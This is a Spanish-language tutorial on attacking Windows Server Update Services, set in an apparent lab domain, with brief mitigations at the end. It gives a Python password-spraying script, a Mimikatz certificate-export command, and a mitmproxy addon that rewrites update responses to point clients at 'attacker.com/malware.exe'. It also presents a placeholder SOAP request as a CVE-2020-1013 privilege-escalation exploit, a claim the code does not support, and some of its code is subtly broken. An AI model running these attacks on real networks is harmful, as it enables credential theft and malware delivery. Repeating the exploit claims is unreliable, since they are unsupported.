Servicios de Actualización de Windows Server (WSUS)
Windows Server Update Services (WSUS) es una herramienta de Microsoft que permite a los administradores gestionar y distribuir actualizaciones de Windows y otros productos de Microsoft en una red empresarial. Aunque WSUS proporciona una forma centralizada de administrar actualizaciones, también puede ser explotado por atacantes si está mal configurado. A continuación se detallan algunas técnicas de explotación de WSUS con ejemplos prácticos.
1. Password Spraying contra el servidor WSUS
El password spraying es una técnica que intenta autenticarse con un pequeño conjunto de contraseñas comunes contra múltiples cuentas. En el caso de WSUS, un atacante puede intentar esta técnica contra la interfaz web de administración.
Ejemplo de explotación:
-
El atacante enumera usuarios válidos del dominio usando técnicas como LDAP queries.
-
Crea una lista de contraseñas comunes basadas en la política de contraseñas de la organización.
-
Utiliza una herramienta como Burp Suite para realizar intentos de autenticación automatizados:
import requests
users = ["admin", "wsus_admin", "svc_wsus"]
passwords = ["Winter2023!", "Password123", "Wsus@2023"]
for user in users:
for password in passwords:
r = requests.post("https://wsus.sevenkingdoms.local:8530/ApiRemoting30/RemotingService.asmx",
auth=(user, password))
if r.status_code != 401:
print(f"Posible credencial válida: {user}:{password}")
- Si tiene éxito, el atacante obtiene acceso a la interfaz de administración de WSUS.
2. Abuso de la autenticación del cliente WSUS
Los clientes WSUS se autentican con el servidor usando certificados de cliente. Si esta autenticación está mal configurada, un atacante puede abusar de ella para obtener acceso no autorizado.
Ejemplo de explotación:
-
El atacante compromete un equipo cliente en la red.
-
Extrae el certificado de cliente WSUS usando una herramienta como Mimikatz:
mimikatz # crypto::certificates /export
- Utiliza el certificado extraído para autenticarse con el servidor WSUS:
import requests
cert = ('client.crt', 'client.key')
r = requests.get("https://wsus.sevenkingdoms.local:8530/ClientWebService/client.asmx", cert=cert)
print(r.text)
- Si tiene éxito, el atacante puede ahora interactuar con el servidor WSUS como si fuera un cliente legítimo.
3. Man-in-the-Middle (MitM) y despliegue de actualizaciones maliciosas
Si el tráfico entre los clientes y el servidor WSUS no está adecuadamente protegido, un atacante puede realizar un ataque MitM para interceptar y modificar las actualizaciones.
Ejemplo de explotación:
-
El atacante se posiciona entre los clientes y el servidor WSUS (por ejemplo, usando ARP spoofing).
-
Configura un proxy SSL para interceptar el tráfico HTTPS:
mitmproxy -p 8530 --certs *=cert.pem
- Modifica las respuestas del servidor WSUS para incluir una actualización maliciosa:
def response(flow):
if "wsus" in flow.request.pretty_host:
if "GetExtendedUpdateInfo" in flow.request.content:
# Modifica la respuesta para incluir una actualización maliciosa
flow.response.content = flow.response.content.replace(
b"<FileLocation>",
b"<FileLocation>http://attacker.com/malware.exe</FileLocation><FileLocation>"
)
addons = [response]
- Los clientes descargan y ejecutan la actualización maliciosa, permitiendo al atacante ejecutar código arbitrario.
4. Explotación de vulnerabilidades conocidas en WSUS
WSUS ha tenido varias vulnerabilidades a lo largo del tiempo. Un atacante puede intentar explotar estas vulnerabilidades si el servidor no está actualizado.
Ejemplo de explotación (CVE-2020-1013):
Esta vulnerabilidad permite a un atacante elevar privilegios en el servidor WSUS.
-
El atacante identifica un servidor WSUS vulnerable (versión anterior a 10.0.17763.1217).
-
Crea un paquete de actualización malicioso que explota la vulnerabilidad:
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetExtendedUpdateInfo xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<updateIDs>
<UpdateIdentity>
<UpdateID>...</UpdateID>
<RevisionNumber>...</RevisionNumber>
</UpdateIdentity>
</updateIDs>
<infoTypes>
<XmlUpdateFragmentType>FileUrl</XmlUpdateFragmentType>
<XmlUpdateFragmentType>FileDecryption</XmlUpdateFragmentType>
</infoTypes>
<locales>
<string>en-US</string>
</locales>
</GetExtendedUpdateInfo>
</soap:Body>
</soap:Envelope>
- Envía el paquete malicioso al servidor WSUS:
import requests
xml_payload = "..." # XML malicioso
headers = {'Content-Type': 'text/xml; charset=utf-8'}
r = requests.post("https://wsus.sevenkingdoms.local:8530/ClientWebService/client.asmx",
data=xml_payload, headers=headers)
print(r.text)
- Si tiene éxito, el atacante obtiene privilegios elevados en el servidor WSUS.
Mitigaciones
Para protegerse contra estas técnicas de explotación, los administradores deben:
- Implementar autenticación fuerte y políticas de contraseñas robustas para la interfaz de administración de WSUS.
- Asegurar que la comunicación entre clientes y el servidor WSUS esté encriptada y autenticada adecuadamente.
- Mantener WSUS y todos los sistemas relacionados actualizados con los últimos parches de seguridad.
- Implementar segmentación de red para aislar el servidor WSUS y limitar el acceso no autorizado.
- Monitorear regularmente los logs de WSUS en busca de actividades sospechosas.
- Utilizar firmas digitales para verificar la integridad de las actualizaciones antes de su instalación.
En conclusión, WSUS es una herramienta crítica en muchas organizaciones, pero también puede ser un vector de ataque significativo si no se configura y mantiene adecuadamente. Los administradores deben estar conscientes de estas técnicas de explotación y tomar medidas proactivas para proteger sus infraestructuras de actualización.